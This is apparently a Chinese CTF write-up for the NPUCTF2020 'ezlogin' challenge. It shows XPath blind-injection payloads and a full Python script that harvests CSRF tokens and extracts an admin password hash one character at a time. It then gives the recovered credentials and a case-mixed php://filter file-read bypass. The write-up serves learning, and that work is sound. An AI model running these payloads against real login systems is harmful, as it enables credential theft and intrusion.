根据题目意思应该是获取到密码即可,账号肯定是admin或者adm1n等常用管理员账号了

会发现有时间限制,过一小会儿就必须要刷新一下,于是抓包看一下

可以看到是xml的格式,有token验证,一开始我就以为是携带token的xml注入了,结果发现并不是,这里考的是xPath注入

服务端用户名和密码通过xml文件存储,通过将提交的用户名和密码拼接到xPATH中进行查询

后台语法:

//root/accounts/user[username/text()=$username and password/text()=$password]

根据大佬的资料以及wp学习,xPATH注入的过程需要先获取根下节点个数,然后获取跟下面的节点个数,然后获取根下节点名

这样构造的原因是:

//root/accounts/user[username/text()=$username and password/text()=$password]
$username肯定是一个字符串格式,因此是""
我们要自己可以控制的话,先"闭合前面那个双引号
然后中间利用or语句进行盲判断 or ……
因为后面还有一个双引号 再加一个or ""="来进行空字符串判断为真,因此我们中间控制的语句决定着返回1还是0
'or count(/*)=1  or ''='    #非法操作
'or count(/*)=2  or ''='    #用户名或密码错误

通过count(/)获取根下节点个数,可以知道是有一个节点

# 获取节点名长度
'or string-length(name(/*[1]))=4 or ''='
# bool注入获取节点
'or substring(name(/*[1]), 1, 1)='a'  or ''='

知道怎么判断后就利用大佬的脚本

import requests
import string
import time
import re
session = requests.session()
base_url = 'http://932f9bbf-355d-423a-ada1-fab454456dca.node4.buuoj.cn:81/'
success = '??'
payload = "' or substring({target},{index},1)='{char}' or '"#注入模板chars = string.ascii_letters+string.digits#所有数字字符def get_csrf():res = session.get(base_url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}).text#返回请求的文本return re.findall('<input.*value="(.*?)"./>', res)[0]#利用正则获取到token的值target = 'string(/*[1]/*[1]/*[2]/*[3])'#遍历出叶子节点
# username adm1n
# password cf7414b5bdb2e65ee43083f4ddbc4d9f
data = '<username>{username}</username><password>1</password><token>{token}</token>'#伪造格式result = 'cf7414b5bdb2e65ee43'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36','Content-Type': 'application/xml','Cookie': 'PHPSESSID=8ad6c1a25ba4ac37acaf92d08f6dc993'}#伪造请求头
for i in range(20, 35):#这里因为脚本已经给出了前19位,所以从20位开始,如果没有前面的result,我们应该是range(1,35),后面任取,大一点好for j in chars:#每一位进行破解time.sleep(0.2)#防止429temp_payload = payload.format(target=target, index=str(i), char=j)#注入模板字符串格式化token = get_csrf()#token值temp_data = data.format(username=temp_payload, token=token)#数据已经准备就绪username以及token,不用password是因为后面有一个or,有一个为真即可res = session.post(url=base_url+'login.php',data=temp_data, headers=headers)#请求头 请求数据 请求地址# print(temp_data)# print(res.text)# print(len(res.text))if len(res.text) == 5:#因为成功的时候返回非法操作! 五个字符,因此利用判断,其实也可以用字符串包含result += jbreakprint(result)

中间token是在html属性里面,利用查找标签属性过滤即可

代码审查已经注释了,最后获得账号密码:

adm1n
cf7414b5bdb2e65ee43083f4ddbc4d9f

账号自己改一下节点名称也就获得了,基本上就那几个

一开始我直接用这个密码去登陆了,发现不对

xml文件存储的密码一般都是md5加密的,因此我们还需要解密

gtfly123

进去后f12可以发现

明显base64

观察参数有一个file,应该是利用伪协议读取

php://filter/read=convert.base64-encode/resource=/flag 发现返回nonono被过滤了
因此将常用的一些字符进行大写化
?file=Php://filter/rEad=convert.basE64-encode/resource=/flag

f12发现又是一个base64加密

[NPUCTF2020]ezlogin xPATH注入相关推荐

  1. XML相关的安全漏洞-XXE,XPATH小结(XXE注入、XPATH注入)

    0x00前言: 本文主要小结以下php下的xpath查询xml结构的漏洞利用和XXE漏洞利用 xml是可扩展标记语言,它被设计出来是为了存储传输数据的. 它的结构是树形结构,并且标签要成对出现比如下面 ...

  2. XPath注入漏洞学习

    0x00 什么是XPath XPath是W3C的一个标准.它最主要的目的是为了在XML1.0或XML1.1文档节点树中定位节点所设计. 目前有XPath1.0和XPath2.0两个版本. XPath1 ...

  3. mysql xpath注入工具_WEB安全第四篇--与数据库的亲密接触:SQL注入攻击

    零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...

  4. php xpath注入工具,科普:XPATH注入

    用这个网站做示例 Default http://91ri.org/ newsdetail.php?id=51 1 http://91ri.org/ newsdetail.php?id=51 1.查看数 ...

  5. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  6. [NOTE] XPath及其注入

    [NOTE] XPath及其注入 XPath XPath是一门在XML文档中查找信息的语言 这里学习基本知识及相关语法 一个加载XML文件,并使用XPath解析和查找元素的例子: <!DOCTY ...

  7. windows文件读取 xxe_XML注入介绍--XXE,XEE,xpath等

    网络安全 XML注入介绍--XXE,XEE,xpath等 XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpan ...

  8. WEB安全,SQL注入漏洞的加固代码汇总

    该修复任务专用于处理以下安全性问题: [1] SQL 盲注 [2] SQL 注入 [3] XPath 注入 [4] 发现数据库错误模式 [5] 跨站点脚本编制 [6] 使用 SQL 注入的认证旁路 [ ...

  9. decimal转为string sql_SQL注入详解|OWASP Top 10安全风险实践(二)

    本文为一些列连载文章之一,不定期更新,计划目录如下: OWASP介绍 SQL注入 命令注入 XML外部实体注入 XPATH注入 反射式.DOM及存储XSS 失效的身份认证和会话管理 不安全的直接对象引 ...

最新文章

  1. Qt中文手册 之 QTableWidgetItem
  2. 基于GPU加速全局紧耦合的激光-IMU融合SLAM算法(ICRA2022)
  3. Github无法加载或不显示图片问题
  4. 使用NFS启动Tiny4412开发板根文件系统
  5. 搜索旋转排序数组—leetcode31
  6. python3-pandas 数据结构 Series、DataFrame 基础
  7. Windows 7 仅是Windows Vista SP2?
  8. 【Qt-Camera】大华相机显示线程
  9. 题15 Oracle临时表有几种?临时表和普通表主要区别是什么?
  10. Gtk-Message: 14:47:21.541: Failed to load module “canberra-gtk-module“ 的处理方法
  11. HWADDR配置错误导致network重启失败处理
  12. jsch jar包连接不上ssh报Algorithm negotiation fail 错误
  13. Vue项目实战引入百度地图(一)
  14. 央视最美记者王冰冰火爆B站,单个视频1800万播放,都说了啥?
  15. linux安装mysql8.11_Ubuntu安装MySQL任意版本(18.04亲测)
  16. [附源码]计算机毕业设计JAVAjsp宠物店管理系统
  17. 数学专业英语词汇英汉对照
  18. gedit编辑器设置代码高亮
  19. 第九章 射频放大器
  20. 轻松将CAD文件转为加密的PDF文件

热门文章

  1. 1407C. Chocolate Bunny(交互,推导)
  2. 远程桌面看不到任务栏怎么办?
  3. Python基础-编码
  4. BI Publisher rtf模板页眉页脚
  5. 怎样理解大数据概念?大数据有什么用处?
  6. python元组(戴了紧箍咒的列表)
  7. 一般能ping通自己的IP ,但是ping 不通网关,也ping不通别的主机IP
  8. 艾永亮:打造超级产品做到这五点,有效提高用户对企业的印象
  9. php 图片上加文字,php使用GD库实现图片上添加文字的方法(代码)
  10. windows重建linux引导,Linux引导修复 利用Linux重建Windows引导